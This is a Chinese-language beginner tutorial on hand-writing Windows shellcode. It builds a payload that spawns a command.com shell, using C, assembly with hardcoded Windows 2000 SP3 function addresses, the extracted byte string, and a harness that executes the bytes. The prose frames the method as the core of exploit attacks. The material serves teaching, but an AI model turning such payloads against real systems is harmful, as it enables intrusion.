為了幫助初學者了解ShellCode的編寫,并能一步一步操作得到自己的ShellCode,因此將Windows下ShellCode的編寫過程作詳細的介紹,以利于像我一樣的菜鳥,最終能夠寫出簡單的但卻是真實的ShellCode;而進一步高級的ShellCode的編寫,也會在系列后面的文章中一步一步的演示的,希望大家會發現,Exp真好,ShellCode最美妙!
ShellCode簡介和編寫步驟
從以前的文章和別人的攻擊代碼中可以知道,ShellCode是以“\xFF\x3A\x45\x72……”的形式出現在程序中的,而Exploit的構造就是想方設法地使計算機能轉到我們的ShellCode上來,去執行“\xFF\x3A\x45\x72……”――由此看出,ShellCode才是Exploit攻擊的真正主宰(就如同獨行者是我們文章的主宰一樣)。而ShellCode的“\xFF\x3A\x45\x72……”那些值,其實是機器碼的形式,和一般程序在內存里面存的東東是沒什么兩樣的,攻擊程序把內存里面的數據動態改成ShellCode的值,再跳過去執行,就如同執行一個在內存中的一般程序一樣,只不過完成的是我們的功能,溢出攻擊就這樣實現了。
在此可以下個定義:ShellCode就是一段程序的機器碼形式,而ShellCode的編寫過程,就是得到我們想要程序的機器碼的過程。
當然ShellCode的特殊性和Windows下函數調用的特點,決定了和一般的匯編程序有所不同。所以其編寫步驟應該是,
1.構想ShellCode的功能;
2.用C語言驗證實現;
3.根據C語言實現,改成帶有ShellCode特點的匯編;
4.最后得到機器碼形式的ShellCode。
其中最重要的是第三步――改成有ShellCode特點的匯編,將在本文的后面講到。
首先第一步是構想ShellCode的功能。我們想要的功能可能是植入木馬,殺掉防火墻,倒流時光,發電磁波找外星人等等(WTF:咳……),但最基本的功能,還是希望開一個DOS窗口,那我們可以在DOS窗口中做很多事情,所以先介紹開DOS窗口ShellCode的寫法吧。
C語言代碼
比如下面這個程序就可以完成開DOS窗口的功能,大家詳細看下注釋:
#include
#include
typedef void (*MYPROC)(LPTSTR); //定義函數指針
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“msvcrt.dll”);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System"); //查找System函數地址
(ProcAdd) ("command.com"); //其實就是執行System(“command.com”)
return 0;
}
其實執行System(“command.com”)也可以完成開DOS窗口的功能,寫成這么復雜是有原因的,解釋一下該程序:首先Typedef void (*MYPROC)(LPTSTR)是定義一個函數指針類型,該類型的函數參數為是字符串,返回值為空。接著定義MYPROC ProcAdd,使ProcAdd為指向參數為是字符串,返回值為空的函數指針;使用LoadLibrary(“msvcrt.dll”);裝載動態鏈接庫msvcrt.dll;再使用ProcAdd = (MYPROC) GetProcAddress(LibHandle, System)獲得 System的真實地址并賦給ProcAdd,之后ProcAdd里存的就是System函數的地址,以后使用這個地址來調用System函數;最后(ProcAdd) ("command.com")就是調用System("command.com"),可以獲得一個DOS窗口。在窗口中我們可以執行Dir,Copy等命令。如下圖1所示。

圖1
獲得函數的地址
程序中用GetProcAddress函數獲得System的真實地址,但地址究竟是多少,如何查看呢?
在VC中,我們按F10進入調試狀態,然后在Debug工具欄中點最后一個按鈕Disassemble和第四個按鈕Registers,這樣出現了源程序的匯編代碼和寄存器狀態窗口,如圖2所示

圖2
繼續按F10執行,直到到ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System")語句下的Cll dword ptr [__imp__GetProcAddress@8 (00424194)]執行后,EAX變為7801AFC3,說明在我的機器上System( )函數的地址是0x7801AFC3。如圖3所示。

圖3
WTF:注意本次測試中讀者的機器是Windows 2000 SP3,不同環境可能地址不同。
為什么EAX就是System( )函數的地址呢?那是因為函數執行的返回值,在匯編下通常是放在EAX中的,這算是計算機系統的約定吧,所以GetProcAddress(”System”)的返回值(System函數的地址),就在EAX中,為0x7801AFC3。
Windows下函數的調用原理
為什么要這么麻煩的得到System函數的地址呢?這是因為在Windows下,函數的調用方法是先將參數從右到左壓入堆棧,然后Call該函數的地址。比如執行函數Fun(argv1, argv2),先把參數從右到左壓入堆棧,這里就是依次把argv2,argv1壓入堆棧里,然后Call Fun函數的地址。這里的Call Fun函數地址,其實等于兩步,一是把保存當前EIP,二是跳到Func函數的地址執行,即Push EIP + Jmp Fun。其過程如下圖4所示。

圖4
同理,我們要執行System("command.com"):首先參數入棧,這里只有一個參數,所以就把Command.com的地址壓入堆棧,注意是Command.com字符串的地址;然后Call System函數的地址,就完成了執行。如圖5所示。

圖5
構造有ShellCode特點的匯編
明白了Windows函數的執行原理,我們要執行System(“Command.exe”),就要先把Command.exe字符串的地址入棧,但Command.exe字符串在哪兒呢?內存中可能沒有,但我們可以自己構造!
我們把‘Command.exe’一個字符一個字符的賦給堆棧,這樣‘Command.exe’字符串就有了,而棧頂的指針ESP正好是Command.exe字符串的地址,我們Push esp,就完成了參數――Command.exe字符串的地址入棧。如下圖6所示。

圖6
參數入棧了,然后該Call System函數的地址。剛才已經看到,在Windows 2000 SP3上,System函數的地址為0x7801AFC3,所以Call 0x7801AFC3就行了。
把思路合起來,可以寫出執行System(“Command.exe”)的帶有ShellCode特點的匯編代碼如下。
mov esp,ebp ;
push ebp ;
mov ebp,esp ; 把當前esp賦給ebp
xor edi,edi ;
push edi ;壓入0,esp-4,; 作用是構造字符串的結尾\0字符。
sub esp,08h ;加上上面,一共有12個字節,;用來放"command.com"。
mov byte ptr [ebp-0ch],63h ; c
mov byte ptr [ebp-0bh],6fh ; o
mov byte ptr [ebp-0ah],6dh ; m
mov byte ptr [ebp-09h],6Dh ; m
mov byte ptr [ebp-08h],61h ; a
mov byte ptr [ebp-07h],6eh ; n
mov byte ptr [ebp-06h],64h ; d
mov byte ptr [ebp-05h],2Eh ; .
mov byte ptr [ebp-04h],63h ; c
mov byte ptr [ebp-03h],6fh ; o
mov byte ptr [ebp-02h],6dh ; m一個一個生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ; command.com串地址作為參數入棧
mov eax, 0x7801AFC3 ;
call eax ; call System函數的地址
明白了原理再看實現,是不是清楚了很多呢?
提取ShellCode
首先來驗證一下,在VC中可以用__asm關鍵字插入匯編,我們把System(“Command.exe”)用我們寫的匯編替換,LoadLibrary先不動,然后執行,成功!彈出了我們想要的DOS窗口。如下圖7所示。

圖7
同樣的道理,LoadLibrary(“msvcrt.dll”)也仿照上面改成匯編,注意LoadLibrary在Windows 2000 SP3上的地址為0x77e69f64。把兩段匯編合起來,將其編譯、鏈接、執行,也成功了!如下圖8所示。

圖8
有了上面的工作,提取ShellCode就只剩下體力活了。我們對剛才的全匯編的程序,按F10進入調試,接著按下Debug工具欄的Disassembly按鈕,點右鍵,在彈出菜單中選中Code Bytes,就出現匯編對應的機器碼。因為匯編可以完全完成我們的功能,所以我們把匯編對應的機器碼原封不動抄下來,就得到我們想要的ShellCode了。提取出來的ShellCode如下。
unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78" //sp3 System地址0x7801afc3
"\xFF\xD0";
驗證ShellCode
最后要驗證提取出來的ShellCode能否完成我們的功能。在以前的文章中已經說過方法,只需要新建一個工程和c源文件,然后把ShellCode部分拷下來,存為一個數組,最后在main中添上( (void(*)(void)) &shellcode )(),如下:
unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78" //sp3 System地址0x7801afc3
"\xFF\xD0";
int main()
{
( (void(*)(void)) &shellcode )()
return 0;
}
( (void(*)(void)) &shellcode )()這句話是關鍵,它把ShellCode轉換成一個參數為空,返回為空的函數指針,并調用它。執行那句就相當于執行ShellCode數組里的那些數據。如果ShellCode正確,就會完成我們想要的功能,出現一個DOS窗口。我們親自編寫的第一個ShellCode成功完成!
小結
這個ShellCode的功能還比較單薄,而且通用性也待進一步研究,但的確是一個由我們親自打造出來的ShellCode,而且現實中的ShellCode也是這樣寫出來的。只要我們掌握了基本的方法,以后就可以在廣闊的空間中自由翱翔!